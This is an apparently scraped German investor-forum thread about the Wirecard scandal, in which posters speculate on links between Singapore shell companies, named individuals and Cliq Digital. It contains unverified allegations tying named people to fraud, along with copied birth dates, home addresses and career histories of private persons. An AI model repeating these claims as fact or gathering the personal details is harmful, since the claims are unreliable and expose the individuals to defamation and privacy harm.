      Dass jigajig eine Manipulationsabsicht habe, ist eine infame Lüge.

      Und wer nach all dem immer noch ernsthaft behaupten will, dass man nicht entscheiden könne, ob die beiden im Screenshot gezeigten posting nach dem dritten Posting immer noch nicht eindeutig als Parodie erkennbar sind, der hat irgendwie ein Problem. Mit den Fakten, mit der neutralen Bewertung der Fakten - oder mit mir,

      Schönen Abend mit Hardy. Und mit Stan.


      1,2,3, rum-ta-tumm-ta-tumm. Let's dance a jigh.
      Avatar
      schrieb am 28.05.20 22:05:35
      Beitrag Nr. 306 ()
      Avatar
      schrieb am 28.05.20 22:06:45
      Beitrag Nr. 307 ()
      Antwort auf Beitrag Nr.: 63.836.483 von SmartCap am 28.05.20 21:17:44
      Zitat von SmartCap: hat jmd zufällig den wiwo artikel elektronisch ?

      https://www.wiwo.de/themen/wirecard

      welchen? Ich habe nicht alle, aber wenn ich Luki oder Melli frage, werde ich den schon kriegen ;)
      Oder Chrissy :)
      6 Antworten
      Avatar
      schrieb am 29.05.20 02:04:28
      Beitrag Nr. 308 ()
      Antwort auf Beitrag Nr.: 63.836.936 von jigajig am 28.05.20 22:06:45Heul doch Christian
      4 Antworten
      Avatar
      schrieb am 29.05.20 18:20:00
      Beitrag Nr. 309 ()
      Antwort auf Beitrag Nr.: 63.836.936 von jigajig am 28.05.20 22:06:45den letzten
      danke, hab ihn hat sich erledigt
      best

      let s drain the sw...;-)
      Avatar
      schrieb am 29.05.20 19:15:43
      Beitrag Nr. 310 ()
      Antwort auf Beitrag Nr.: 63.837.830 von Levity240 am 29.05.20 02:04:28
      Zitat von Levity240: Heul doch Christian

      Was ist charakteristisch für Tränen und jigajig im Gegensatz zu Verleumdern und Hetzern?
      Man muß sich ihrer nicht schämen und sie lügen nicht.
      3 Antworten
      Avatar
      schrieb am 29.05.20 19:18:26
      Beitrag Nr. 311 ()
      Antwort auf Beitrag Nr.: 63.847.124 von jigajig am 29.05.20 19:15:43bist jetzt bei csfa in Ungande gefallen ;)

      "This account was long enough more or less the private pleasure of a wild member. Times are changing. Reinventing Investigations."
      2 Antworten
      Avatar
      schrieb am 29.05.20 19:48:18
      Beitrag Nr. 312 ()
      ups, falsches Video... Ich wollte "Tränen lügen nicht" von Michael Holm verlinken, habe aber nebenbei Deep Purple gehört und das falsche Vidfeo verlinkt. Sorry.
      Avatar
      schrieb am 29.05.20 20:06:37
      Beitrag Nr. 313 ()
      Antwort auf Beitrag Nr.: 63.847.157 von Mademyday am 29.05.20 19:18:26
      Zitat von Mademyday: bist jetzt bei csfa in Ungande gefallen ;)
      "This account was long enough more or less the private pleasure of a wild member. Times are changing. Reinventing Investigations."

      Hmm. Was da wieder los ist. Oh Mann. Sagt man wirklich "private pleasure" für Privatvergnügen? Ich muß mal unseren Anglizisten fragen. Aber diese Mistkröte meldet sich nicht. Dabei ist doch die Berichtssaison für fast alle normalen DAX- und TecDAX-Unternehmen vorbei... Wenn man bis in den April hinein etwas wissen will von ihm, dann kommt zu 100% "sorry, ich lese gerade den englischen GB von Firma XXX Korrektur, ich melde mich dann"
      Dieses dann passiert nie. Nie!
      2004 oder so hat BBC mit uns sprechen wollen. Mr Anglizist war mal wieder nicht erreichbar... Und an wem blieb es wieder hängen? An mir. Oh war das peinlich. Ich habe total rumgestöpselt und habe dieses Londoner Englisch nullo verstanden... Der BBC-Journalist hat dann gefragt, ob ich etwas zum Thema "Casinos und Geldwäsche" sagen könne und ich habe gemeint "that's not really interesting for us". Mann. Da hättest Du EINMAL die Chance gehabt, bei der BBC groß rauszukommen und dann fällt Dir nur so ein Scheiß ein...
      1 Antwort
      Avatar
      schrieb am 29.05.20 20:29:25
      Beitrag Nr. 314 ()
      Antwort auf Beitrag Nr.: 63.847.640 von jigajig am 29.05.20 20:06:37och, da hats also doch besser gescheppert ;)

      "The cleaning measures have not yet been completed. If someone feels unjustly blocked, we recommend contacting us by other means. Unfortunately, collateral damage cannot be ruled out. CSFA cleans up. Inside and outside."
      Avatar
      schrieb am 29.05.20 22:53:46
      Beitrag Nr. 315 ()
      Ganz harmlose Erklärung... die zwei typen, die hauptsächlich den Twitteraccount von CSFA managen, ahben kleine Ahnung von Twitter... Deshalb hat jetzt aml jemand diesen Twitteraccount in die hand genommen (das passierte schon vor ein paar Wochen). Es wurden ungefähr 300 oder 400 Leute geblockt. Ich nehme das halt zur Kenntnis. Ich kenne Foren. Dieses Twitterdingens ist nicht meine Welt :)
      Avatar
      schrieb am 29.05.20 22:55:30
      Beitrag Nr. 316 ()
      sorry. Zu viel Gin Tonic. teufelszeug.
      Avatar
      schrieb am 03.06.20 21:32:43
      Beitrag Nr. 317 ()
      was soll ich noch groß sagen? Alles barucht seine Zeit... Und sie ist noch nicht gekommen. speculative buy, KZ 140€
      :)
      Avatar
      schrieb am 06.06.20 17:00:41
      Beitrag Nr. 318 ()
      Avatar
      schrieb am 06.06.20 20:58:23
      Beitrag Nr. 319 ()
      Ich glaube, dass Eichelmann jetzt so langsam den Laden übernimmt und CEO + CFO ausgewechselt werden zum "reinwaschen".
      1 Antwort
      Avatar
      schrieb am 07.06.20 23:54:47
      Beitrag Nr. 320 ()
      Wenn der schärfste Hund in Ketten liegt, haben dann die sanften Gemüter das Sagen?
      Avatar
      schrieb am 13.06.20 00:59:53
      Beitrag Nr. 321 ()
      ok, der schärfste Hund darf bis auf weiteres frei rumlaufen. War eine Ente :)
      Avatar
      schrieb am 13.06.20 01:00:53
      Beitrag Nr. 322 ()
      jigajig analysis mit neuer Analyse zu du-weißt-schon-wem:
      speculative buy, Kursziel 120€
      Avatar
      schrieb am 13.06.20 01:03:22
      !
      Dieser Beitrag wurde von MODelfin moderiert. Grund: Bitte beachten Sie Boardregel 9.4, Danke.
      Avatar
      schrieb am 14.06.20 20:18:14
      Beitrag Nr. 324 ()
      Die Erde ist keine Scheibe.
      Avatar
      schrieb am 18.06.20 12:13:49
      Beitrag Nr. 325 ()
      War nix mit 120...
      Avatar
      schrieb am 19.06.20 15:15:53
      Beitrag Nr. 326 ()
      Antwort auf Beitrag Nr.: 63.928.361 von Der Tscheche am 06.06.20 20:58:23
      Zitat von Der Tscheche: Ich glaube, dass Eichelmann jetzt so langsam den Laden übernimmt und CEO + CFO ausgewechselt werden zum "reinwaschen".


      CFO ist noch da, dafür Marsalek nicht mehr.
      Egal. Ich war eigentlich davon ausgegangen, dass es Eichelmann gelingt, den Laden werthaltig zu "übernehmen". Deshalb hatte ich eigentlich auch geplant, in den zu erwartenden Crash hinein einen Call zu kaufen.
      So wie sich die Dinge entwickelt haben, war und ist mir das Risiko aber zu hoch geworden.
      Avatar
      schrieb am 22.06.20 08:20:30
      Beitrag Nr. 327 ()
      Wenn er und seine Leute den Laden wieder flott kriegen sollten, dann wäre heute, nach DIESER Meldung:
      https://www.dgap.de/dgap/News/adhoc/wirecard-stellungnahme-d…
      vermutlich der optimale Zeitpunkt für long.
      Avatar
      schrieb am 22.06.20 15:05:24
      Beitrag Nr. 328 ()
      Die Aussichten erscheinen mir aber wie gesagt zu düster.
      Ich tippe vielmehr auf eine weitere Skandal-Kaskade, Haftbefehle inklusive.
      Avatar
      schrieb am 22.06.20 15:44:13
      Beitrag Nr. 329 ()
      Sehe gerade, dass jigajig gesperrt ist. Kein Kommentar.
      Avatar
      schrieb am 23.06.20 20:01:56
      Beitrag Nr. 330 ()
      jigajig immer noch gesperrt. Kein Kommentar.

      Verstehe nicht, wieso man Braun gegen 5Mio. Kaution laufen lässt. Das sind doch bei ihm Peanuts.
      Avatar
      schrieb am 23.06.20 22:07:22
      Beitrag Nr. 331 ()
      Der Schlussabsatz im aktuellen langen Manager-Magazin-Artikel zur Wirecard-Story:

      "In Gesprächen mit Vertrauten spielte Eichelmann in den Wochen vor Brauns Abgang Szenarien durch, wie man die Aufklärung vorantreiben, einen neuen CEO installieren und Kollateralschäden begrenzen kann. Es ist wie beim Fall des Diktators in einem autoritären Regime – danach gerät die Lage in der Regel außer Kontrolle. Eichelmann ist sich der Risiken bewusst. Wirecard hat die Experten der US-Investmentbank Houlihan Lokey an Bord geholt. Ihr Spezialgebiet: Sanierung nach Pleiten."

      https://www.manager-magazin.de/premium/wirecard-ag-markus-br…
      Avatar
      schrieb am 23.06.20 23:01:33
      Beitrag Nr. 332 ()
      Antwort auf Beitrag Nr.: 64.151.122 von Der Tscheche am 23.06.20 22:07:22M wie Monolog
      Avatar
      schrieb am 12.08.20 12:48:01
      Beitrag Nr. 333 ()
      Ich finde übrigens nach wie vor die Rolle des Users hastenichtgehört im Wirecard-Hauptthread sehr bemerkenswert.
      Dieser hatte sich am 1.5.20 hier angemeldet und hat es durch sehr elaborierte Beiträge dort (und nur dort, er war bislang ausschließlich bei Wirecard und dort im Hauptthread aktiv) sehr schnell geschafft, viel positiven Einfluss auf die Kleinanleger auszuüben (ablesbar an einer sofort hochgeschnellten Zahl an Followern). Seit dem 19.6. ist er nun offline, nach 233 sehr positiven Beiträgen zwischen 1.5. und 17.06.20 und einem eher negativen vom 18.06.20.

      https://www.wallstreet-online.de/userinfo/727250-hastenichtg…
      1 Antwort
      Avatar
      schrieb am 30.11.20 20:44:43
      Beitrag Nr. 334 ()
      Hat jemand Lust auf eine Knobelei?
      Dann kann er diese Firmen gerne mal untersuchen und schauen, ob es eine Beziehung zur Wirecard gibt.
      Alle diese Firmen haben ein übereinstimmendes Merkmal, eine Kleinigkeit. Kann völlig bedeutungslos sein. Aber dieses bestimmte Merkmal taucht eben bei vielen Firmen dort auf, die mit Wirecard zu tun haben.

      If anyone is landing here via Google and wonder about a company name here, draw your conclusions :)




      CLEARIO HOLDINGS PTE. LTD.
      Reimagining banking for small businesses. GET IN TOUCH. contact@clear-io.com. London | Berlin | Singapore © 2017-2019 CLEARIO HOLDINGS PTE. LTD.

      INTERNATIONAL VENDING PTE. LTD.
      https://internationalvending.sg/about.html

      PADSHORE NETWORKS ASIA PTE. LTD.

      NEECH SERVICES ASIA PTE. LTD. (Neech Services Asia Ltd)

      ECOMATRADE PTE. LTD.

      FENG NIAO TECHNOLOGIES PTE. LTD.

      VIRTUAL TRADE CONSULTANCY GLOBAL PTE. LTD.

      LUMINIS PTE. LTD.

      TECHNO BROKERS PTE. LTD.

      TARA PACIFIC NETWORK PTE. LTD.

      SLC INTERGRATION SYSTEMS PTE. LTD.

      VTRAN BUSINESS SOLUTIONS PTE. LTD.

      LYNXMEGASOLUTIONS PTE. LTD.

      CONDOR PAYMENT SOLUTIONS PTE. LTD.
      condor.sg

      [Condor Payment Solutions Pte Ltd
      2 Havelock Road
      04-08 Apollo Centre
      Singapore
      059763
      • Tel +65 6533 7393
      • Fax +65 6533 6831

      Condor Payment Solutions (Mauritius) Limited
      Suite 501
      St James Court
      St Denis Street
      Port Louis
      Mauritius
      • Tel + 230 210 9961 [Rajiv Reemul, Trustlink]
      • Fax + 230 210 6749

      TRUSTLINK!!]


      XXX RUPRECHT SERVICES PTE. LTD. payru.com

      XXX TACONA PTE. LTD. (Knöchelmann --> Ramu --> Indienverfahren)

      SUNRISE MEDIA PTE. LTD.

      XXX INTERNATIONAL TECHNO SOLUTIONS PTE. LTD. (CAD-Liste)

      LANCORE INVESTMENTS PTE. LTD.

      PEARTRACK ASIA PTE. LTD.

      METRODOME INTERNATIONAL PTE. LTD.

      WHITESTONE MANAGEMENT PTE. LTD.

      STRATEGIC CORPORATE INVESTMENTS PTE. LTD.

      SANTEGO CAPITAL PTE. LTD.

      EMAC PAYMENT SOLUTIONS PTE. LTD.

      NETCOM BUSINESS SOLUTIONS PTE. LTD.

      AZURE ADVISORY SERVICES PTE. LTD.

      CRYSTAL CLEAR INVESTMENTS PTE. LTD.

      XXX AMARA GROUP PTE. LTD.


      HUMANCAPITA PTE. LTD.

      XXX KINGDOM CARD SERVICES PTE. LTD.

      XXX SENJO GROUP PTE. LTD.
      Henry O' Sullivan

      XXX QTAIL PTE. LTD.

      ONLINE BUSINESS SOLUTIONS PTE. LTD.

      SAFE PROCESS PTE. LTD.

      ALTAVISTA INVESTMENTS PTE. LTD.

      STRAITSTECH PTE. LTD.

      EQUINIA SERVICES PTE. LTD.

      BRILLIANT SOFT TECH SOLUTIONS PTE. LTD.

      XXX INVENTURES TECHNOLOGY ONLINE PTE. LTD. (CAD-Liste?)

      ---

      OCAP MANAGEMENT PTE. LTD.

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      2 Antworten
      Avatar
      schrieb am 30.11.20 20:48:46
      Beitrag Nr. 335 ()
      Das hat hier schon Sinn... Es geht darum, Brücken zu bauen. Es gibt z.B. eine Brücke von Consett nach Singapur via Walpay. Das ist interessant. Und dann gibt es hier eine Paymentfirma, die baut eine Brücke von Singapur nach Mauritius zur Trustlink.

      Es gibt einen Zusammenhang, den noch keiner erklären kann. Ich kann ihn auch nicht erklären, aber ich weiß, dass es ihn gibt.
      Avatar
      schrieb am 30.11.20 20:54:53
      Beitrag Nr. 336 ()
      EQUINIA SERVICES PTE. LTD.

      wurde von den Behörden in Singapur auf eine Warnliste gesetzt
      https://www.mas.gov.sg/investor-alert-list?rows=All&q=Ace%20…

      "The Investor Alert List provides a list of unregulated persons who, based on information received by MAS, may have been wrongly perceived as being licensed or regulated by MAS. This list is not exhaustive and is based on what was known to MAS at the time of publication. "

      Das dachte ich mir :)


      Auf derselben Liste steht ja auch der Chef

      Citadelle Corporate Services Pte Ltd
      Address:

      111 North Bridge Road #08-16, Peninsula Plaza, Singapore 179098
      Email:

      info@citadelle.com.sg
      Phone Number:

      +6337 2152, +6338 1792
      Website:
      www.citadelle.com.sg
      Avatar
      schrieb am 30.11.20 21:09:48
      Beitrag Nr. 337 ()
      SANTEGO CAPITAL PTE. LTD.
      na klar!

      Anyone reading the Ramasamys’ complaint would have difficulty distinguishing between the interests of O’Sullivan and those of Wirecard since the suit has described both as pursuing an identical strategy and seeking the same assets. The Ramasamys have claimed in their suit that O’Sullivan (referred to as Defendant No. 4) approached them in early 2014 and made a bid for Hermes Tickets — through a Singapore-based company named Santego he seems to control. And though the Ramasamys declined O’Sullivan’s bid, he kept in contact with them and submitted another offer at the end of 2014, they said. The brothers turned down that one, too.

      ...

      A good example of O’Sullivan’s muted business presence can be observed with Bijlipay Asia Ltd., a holding company that began its life as a Vanrenen-controlled entity called Waltech Asia Pte. Ltd. but changed its name in 2009 after its registration in Singapore. From Jan. 12, 2009, until Oct. 28, 2015 — the day after the Great India Technology deal became final — O’Sullivan served as a director of the company. (Roy Harding, a longtime colleague of O’Sullivan from his days at Waltech Limited, departed from Bijlipay Asia’s board at the same time. Also a director of O’Sullivan’s holding company Caireen SARL, Harding resigned from its board on March 31, 2017.)

      Although O’Sullivan is no longer on Bijlipay Asia’s board, his proxy is almost certainly 53-year-old Ricky Raymund Misson, who resides in Singapore. Referring to himself as audiovisual consultant and a former staff sergeant with the Singapore Armed Forces’ special operations group, Misson has an unusual résumé for someone now running several enterprises involved with multinational digital payment services.

      Misson’s name appears in the database of Singapore’s Accounting and Corporate Regulatory Authority as the principal owner of four companies: [r]Bijlipay Asia, Misson Pte. Ltd., Africa Card Services Pte. Ltd. and Santego Capital Pte. Ltd.[/red]

      Bijlipay and Africa Card Services are engaged in aspects of digital payment services. Records indicate Misson Pte. Ltd. is the entity Misson relies on to manage his audiovisual consulting business. And Santego Capital is probably the holding company that the Ramasamys have alleged O’Sullivan used in early 2014 (as mentioned above) for his first Hermes Tickets bid. (The Ramasamys’ lawsuit referred to “Santego Business Corporation,” but no company with that name is listed in Singapore’s corporate registry. An individual involved in the litigation told the Southern Investigative Reporting Foundation that Ramu Ramasamy substituted “business” for “capital” when filing his affidavit.)

      Misson’s Bijlipay is Wirecard’s oldest publicly disclosed customer in the Asia-Pacific region. (Its holding company Bijlipay Asia owns 95 percent of Skilworth Technologies Private Limited, a Chennai-based payments company that possesses the trademark for the Bijlipay mobile point-of-sale machine marketed in India. Another former colleague of O’Sullivan, Timothy William Johnstone, sits on Skilworth’s board.)

      (Quelle: SIRF/Roddy Boyd)
      (The Pity of Wirecard, Part II Bezzle Never Sleeps )


      passt super. Meine Theorie stimmt. Ich bin sicher.

      und es findet sich einmal mehr ein Kreis...

      siehe schon am 7.8.2016
      https://www.wallstreet-online.de/diskussion/1231671-621-630/…
      Avatar
      schrieb am 06.12.20 12:52:22
      Beitrag Nr. 338 ()
      Antwort auf Beitrag Nr.: 65.895.342 von jigajig am 30.11.20 20:44:43
      Zitat von jigajig: Hat jemand Lust auf eine Knobelei?
      Dann kann er diese Firmen gerne mal untersuchen und schauen, ob es eine Beziehung zur Wirecard gibt.
      Alle diese Firmen haben ein übereinstimmendes Merkmal, eine Kleinigkeit. Kann völlig bedeutungslos sein. Aber dieses bestimmte Merkmal taucht eben bei vielen Firmen dort auf, die mit Wirecard zu tun haben.

      If anyone is landing here via Google and wonder about a company name here, draw your conclusions :)




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      condor.sg

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      2 Havelock Road
      04-08 Apollo Centre
      Singapore
      059763
      • Tel +65 6533 7393
      • Fax +65 6533 6831

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      St Denis Street
      Port Louis
      Mauritius
      • Tel + 230 210 9961 [Rajiv Reemul, Trustlink]
      • Fax + 230 210 6749

      TRUSTLINK!!]


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      AZURE ADVISORY SERVICES PTE. LTD.

      CRYSTAL CLEAR INVESTMENTS PTE. LTD.

      XXX AMARA GROUP PTE. LTD.


      HUMANCAPITA PTE. LTD.

      XXX KINGDOM CARD SERVICES PTE. LTD.

      XXX SENJO GROUP PTE. LTD.
      Henry O' Sullivan

      XXX QTAIL PTE. LTD.

      ONLINE BUSINESS SOLUTIONS PTE. LTD.

      SAFE PROCESS PTE. LTD.

      ALTAVISTA INVESTMENTS PTE. LTD.

      STRAITSTECH PTE. LTD.

      XXX
      EQUINIA SERVICES PTE. LTD.

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      Update zu Lancore:
      Die Firma wird in dem großen US-Gerichtsverfahren in Sachen Pkkerstars/FullTilt erwähnt. Noch 2011 wird in einer Onlinediskussion ein Scheck von Lancore im Zusammenhang mit Pokerstars/Fulltilt erwähnt (https://www.gpwa.org/forum/breaking-news-doj-indicts-founder…

      Außerdem gibt es ein Gerichtsverfahren in UK. Barclays hat (schon 2006 war das) Lancore Gelder vorenthalten, weil die nicht Küchengeräte verkauft haben, sondern allerlei anderes Zeugs, von Viagra über Porno bis hin (auch zu) Gambling. Und zwar in Zusammenarbeit mit einer deutschen Firma (Enterpayment). Bei ihrem Rechtsstreit wurden sie unterstützt von einer - laut Gerichtsdokument - "mit Enterpayment verbundenen Firma".

      Der GF dieser Firma ist der Chef der Hell's Angels.

      Kein Witz :)

      Quelle:
      https://www.casemine.com/judgement/uk/5a8ff7dc60d03e7f57eb28…
      (unter Punkt 47)
      1 Antwort
      Avatar
      schrieb am 06.12.20 13:16:08
      Beitrag Nr. 339 ()
      CLEARIO HOLDINGS PTE. LTD.
      Reimagining banking for small businesses. GET IN TOUCH. contact@clear-io.com. London | Berlin | Singapore © 2017-2019 CLEARIO HOLDINGS PTE. LTD.

      Sieht zunächst harmlos aus, Webseite im Besitz einer deutschen Firma, einer Agentur, zu deren Kunden gehört getnow ("Long-term development partnership with a german high-growth startup in the delivery space.")
      Avatar
      schrieb am 06.12.20 13:40:02
      Beitrag Nr. 340 ()
      Antwort auf Beitrag Nr.: 65.963.135 von jigajig am 06.12.20 12:52:22
      Zitat von jigajig: Der GF dieser Firma ist der Chef der Hell's Angels.
      Kein Witz :)
      Quelle:
      https://www.casemine.com/judgement/uk/5a8ff7dc60d03e7f57eb28…
      (unter Punkt 47)


      Diese Aussage müsste noch genauer verifiziert werden. Es könnte sich um eine Verwechslung handeln.
      Avatar
      schrieb am 29.01.21 18:19:58
      Beitrag Nr. 341 ()
      Antwort auf Beitrag Nr.: 64.734.373 von Der Tscheche am 12.08.20 12:48:01
      Zitat von Der Tscheche: Ich finde übrigens nach wie vor die Rolle des Users hastenichtgehört im Wirecard-Hauptthread sehr bemerkenswert.
      Dieser hatte sich am 1.5.20 hier angemeldet und hat es durch sehr elaborierte Beiträge dort (und nur dort, er war bislang ausschließlich bei Wirecard und dort im Hauptthread aktiv) sehr schnell geschafft, viel positiven Einfluss auf die Kleinanleger auszuüben (ablesbar an einer sofort hochgeschnellten Zahl an Followern). Seit dem 19.6. ist er nun offline, nach 233 sehr positiven Beiträgen zwischen 1.5. und 17.06.20 und einem eher negativen vom 18.06.20.

      https://www.wallstreet-online.de/userinfo/727250-hastenichtg…


      Konntest Du speziell zu diesem sehr einflussreichen User etwas herausbekommen?
      Avatar
      schrieb am 04.05.21 21:19:35
      Beitrag Nr. 342 ()
      O'sullivan and marsalek
      Jan and Henry - much more to come this week in the bunds.

      Questions:

      Why has o'sullivan not been arrested yet? Why is there no warramt? Is he talking?!
      Does he know where Jan is? I think he does.
      Anyone with an interest should look his wife's family links.

      There is so much more to this.

      More coming after Friday.
      Avatar
      schrieb am 28.12.22 00:25:58
      Beitrag Nr. 343 ()
      Das gehört nicht hier her. Ist aber egal, ist ja das Sofa
      Zitat von jigajig: Berlin, 23. August 2022 - Deutsche Payment A1M SE gibt heute die Zusammenarbeit mit Token, dem führenden Open-Banking-Anbieter für den europäischen Zahlungsverkehr, und die Einführung von PayThisWay powered by Deutsche Payment bekannt.

      token.io - irgendwas klingelte da in meinem seltsamen Kopf... Und ich habe mich nicht geirrt. Ich habe "token.io" einst angeschaut.
      Jörg Heidenreich war laut LinkedIn von 2004-2006 bei der Wirecard. Danach z.B. 2013 bis 2015 bei Kalixa (https://www.northdata.de/Kalixa+Pay+Ltd.,+Zweigniederlassung… Seit Mai 2020 und bis Dezember 2021 eben bei Token, dem Partner von A1M DP.
      Hier ist sein LinkedIn-Profil
      https://www.linkedin.com/in/joergheidenreich/details/experie…
      Da steht vieles drin, aber nicht alles.
      Denn wenn man dem hier glaubt:
      https://contactout.com/Joerg-Heidenreich-896796
      war er auch bei "pay-consult.com"
      Die Seite leitete nach Jahren ohne Inhalt 2016 auf Jörg Heidenreichs LinkedIn (Beleg: http://web.archive.org/web/20160307124953/http://pay-consult… bis mindestens Juli 2019 (Beleg: http://web.archive.org/web/20190714162802/http://pay-consult…
      2016/2017 war der Herr bei Clearsettle. Clearsettle war der Vorgänger als Payment Processor für Eaze. Dort wurden danach 150 Millionen Zahlungen für Cannabis von Herrn Akhavan und Herrn Weigand über Fake shops geleitet. Verurteilt wurde deshalb Ruben Weigand (Quelle: https://www.berliner-zeitung.de/wirtschaft-verantwortung/wir…
      Tja. Und wer schrieb an das zuständige Gericht, um für Ruben Weigand zu bürgen? Na klar! Martin Fuchs, der Mann von Wirecard und der neue Partner der A1M (Belmar). So lein ist die Welt...
      1 Antwort
      Avatar
      schrieb am 28.12.22 00:47:22
      Beitrag Nr. 344 ()
      Payment Group
      "Payment Group" ist ein unglaublich schwierig zu recherchierender Begriff.
      Auch die Seite payment.group führte 2018 zum LinkedIn von Jörg Heidenreich (Beleg: http://web.archive.org/web/20180808161930/payment.group)
      Aber wer ist dieser Jörg Heidenreich? Und wer ist token.io heute? Da sehe ich noch nirgends eine Verbindung
      https://token.io/press/deutsche-payment-kooperiert-mit-token…
      Avatar
      schrieb am 30.12.22 15:28:55
      Beitrag Nr. 345 ()
      Fedrax / Cliq
      ///archiv

      Date Published
      2011-05-30
      Publication
      Mémorial (Luxembourg)
      Gazette Notice
      STATUTES

      In the year two thousand and eleven, on the sixteenth day of February.

      Before Maître Francis KESSELER, notary residing at Esch-sur-Alzette, Grand Duchy of Luxembourg, undersigned.

      THERE APPEARED:

      Mr. Marco Filipe SILVA ALEXANDRE, company director, born in Issy-les-Moulineaux, France, on November 15, 1976, residing at 9000-248 Funchal, Portugal, 12, Caminho do Amparo, Bloco A, 1° A,

      here represented by Mrs. Sofia AFONSO-DA CHAO CONDE, private employee, residing professionally at Esch-sur-Alzette, Grand Duchy of Luxembourg, by virtue of a proxy given under private seal.

      The said proxy signed "ne varietur" by the attorney and the undersigned notary will remain attached to the present deed, in order to be recorded with it.

      The appearing party, represented by Mrs. Sofia AFONSO-DA CHAO CONDE, pre-named, requested the undersigned notary to draw up the Constitutive Deed of a private limited company ("société à responsabilité limitée"), as follows:

      Art. 1. There is hereby established a private limited company ("société à responsabilité limitée"), which will be governed by the laws in force, namely the Companies? Act of August 10, 1915 and by the present articles of association.

      Art. 2. The company?s name is ?Avendor Holding S.à r.l.?.
      1 Antwort
      Avatar
      schrieb am 30.12.22 15:34:40
      Beitrag Nr. 346 ()
      Archiv/cliqdigital
      NWS Holding S.à r.l. had a Gazette Notice last seen on February 25 2016

      Date Published
      2011-06-09
      Publication
      Mémorial (Luxembourg)
      Gazette Notice
      STATUTES

      In the year two thousand and eleven, on the sixteenth day of February.

      Before Maître Francis KESSELER, notary residing at Esch-sur-Alzette, Grand-Duchy of Luxembourg, undersigned.

      THERE APPEARED:

      Mr. Jérôme DELEURENCE, company director, born in Strasbourg, France, on August 10, 1985, residing at 9000-000 Funchal, Portugal, 1, Beco da doca,

      here represented by Mrs. Sofia AFONSO-DA CHAO CONDE, private employee, residing professionally at Esch-sur-Alzette, Grand-Duchy of Luxembourg, by virtue of a proxy given under private seal.

      The said proxy signed "ne varietur" by the attorney and the undersigned notary will remain attached to the present deed, in order to be recorded with it.

      The appearing party, represented by Mrs. Sofia AFONSO-DA CHAO CONDE, pre-named, requested the undersigned notary to draw up the Constitutive Deed of a private limited company ("société à responsabilité limitée"), as follows:

      Art. 1. There is hereby established a private limited company ("société à responsabilité limitée"), which will be governed by the laws in force, namely the Companies' Act of August 10, 1915 and by the present articles of association.

      Art. 2. The company's name is "NWS Holding S.à r.l.".
      Avatar
      schrieb am 07.01.23 18:47:44
      Beitrag Nr. 347 ()
      Ja wo findet man sie denn?
      Kleine Analyse der von Cliq Digital #cliqdigital angegebenen Filialadressen

      summary:
      nichts Auffälliges gefunden

      ---

      die Recherche:

      In den Niederlanden

      Stadhouderskade 85 1073 AT, Amsterdam, The Netherlands
      Das ist die Adresse von Artiq BV
      https://opencorpdata.com/lei/529900DTGY92SWRYUQ45

      LOU Headquarters Address Düsseldorfer Straße 16
      Frankfurt am Main
      Hessen
      60329
      Germany

      Siehe Beschwerde vor sechs Jahren
      https://www.gutefrage.net/frage/abo-bei-artiq-mobile-abgesch…

      siehe Simiq BV
      https://opencorpdata.com/lei/529900ECD78VWBF3ZF02

      auch Memtiq (=Artiq)
      https://uid-suche.eu/9G10/Memtiq-B.V.

      siehe IDNA bv
      https://carambaba.com/DE/support/imprint?lang=de

      siehe CMind BV
      https://yellowpagesnl.com/business/cmind-b-v-jd2j9k

      siehe CPay BV (Cliqpay) (wie auf Hörbie)
      https://opencorporates.com/companies/nl/65323165

      siehe Hype Ventures
      https://opencorporates.com/companies/nl/64569713

      auch Cliq BV
      https://opencorporates.com/companies/nl/34377410


      Die Adresse ist ein Bürohaus



      Auf diesem Foto erkennt man einen Banner von „The collection“
      --->
      https://thecollection.inc/chapters/no-2


      man erkennt es auch auf dem Foto bei CMind BV (siehe oben)

      Ob die ganzen Firmen da am Eingang stehen? Ob jede Firma ein einzelnes Büro hat? Keine Ahnung. Da müsste man vorbeischauen.
      Die Adresse lasse ich aber gelten, nach meinem Eindruck ist das keine Sammeladresse, die für viele verschiedene Briefkastenfirmen verwendet wird. Ich denke, dass es dort ein oder mehrere Büros gibt.

      Das passt.

      In UK:
      The Shepherds Building Shepherd's Bush, London W14 0NH, UK

      Offices for rent:
      https://www.workspace.co.uk/workspaces/the-shepherds-buildin…


      https://www.office-hub.com/uk/buildings/the-shepherds-buildi…

      Charecroft Way als Adresszusatz

      Adresse sieht für mich unauffällig aus. Ist auch die Geschäftsadresse von Red27Mobile.


      8 Rue des Pirogues de Bercy, 75012 Paris, France
      Auch wieder Büromiete, zB. Wework Bercy
      https://www.wework.com/fr-FR/buildings/8-rue-des-pirogues-de…

      Sonst unauffällig. Ist der Firmensitz der Tochter Tornika (Affimobiz)
      https://fr.kompass.com/c/tornika/fra01plpr/




      Carrer de Tànger 86, Glories, 08018 Barcelona, Spain

      We work wieder
      https://weworkbarcelona1yearanniversary.splashthat.com/

      office for rent
      https://www.flexas.com/de/esp/buero-mieten/barcelona/carrer-…

      Mehrere Firmen dort, keine Auffälligkeiten




      Toronto
      Hudson's Bay Centre, 2 Bloor Street East, Suite 3500, Toronto, ON, M4W 1A8

      Office for rent
      https://www.intelligentoffice.ca/ontario/toronto-hudsons-bay…

      Nicht uninteressante Adresse, einige Firmen dort und eine Anwaltskanzlei
      https://www.torlaw.ca/

      und noch eine Anwaltskanzlei (Patentrecht)
      http://macorlaw.com/contact

      und einen Dachdecker
      https://homestars.com/companies/2775182-mrroofrepair-ca/revi…


      Für mich als Briefkastenadresse denkbar. Oder das sind deren Anwälte. Spannende location.


      Das, was schon auf den ersten Blick spannend wirkt, ist die Adresse in Florida. Denn während bei allen locations die Stadt genannt wird, steht für das Büro in Florida nur Florida. Funfact: Wer hat das auch so gemacht? Na, Wirecards Vorgängerin EBS)

      Also los

      19510 US HWY 1, 33469 Tequesta, Florida, USA

      Warum man hier nicht ein sauberes Office gemietet hat in irgendeiner Stadt in Florida?
      Verstehe ich nicht.

      Die Adresse führt zu ein paar Firmen, aber vor allem zur „Netacy Inc“

      Vielleicht klingelt es bei jemandem, wenn er den Namen Maregaret Berkoff liest? Bei mir klingelt nichts
      https://www.floridacompanysearch.com/company/P13000059180/

      Aber hier eben Netacy Inc

      Bringt mich gleich wieder zurück zu der Frage, „was macht eigentölich die Netacy“? Und: was hat es mit Cliq Digital zu tun?“

      https://holidayrelief.com/do-not-sell/


      Also: alle Adressen gecheckt, derzeit nichts Auffälliges zu finden.
      Netacy ist ja schon oft genug erwähnt worden. Dazu will Cliq Digital nichts sagen?
      Kann man so machen, sieht dann halt scheiße aus :))
      Avatar
      schrieb am 15.01.23 00:18:02
      Beitrag Nr. 348 ()
      vergessener Beitrag aus 2016
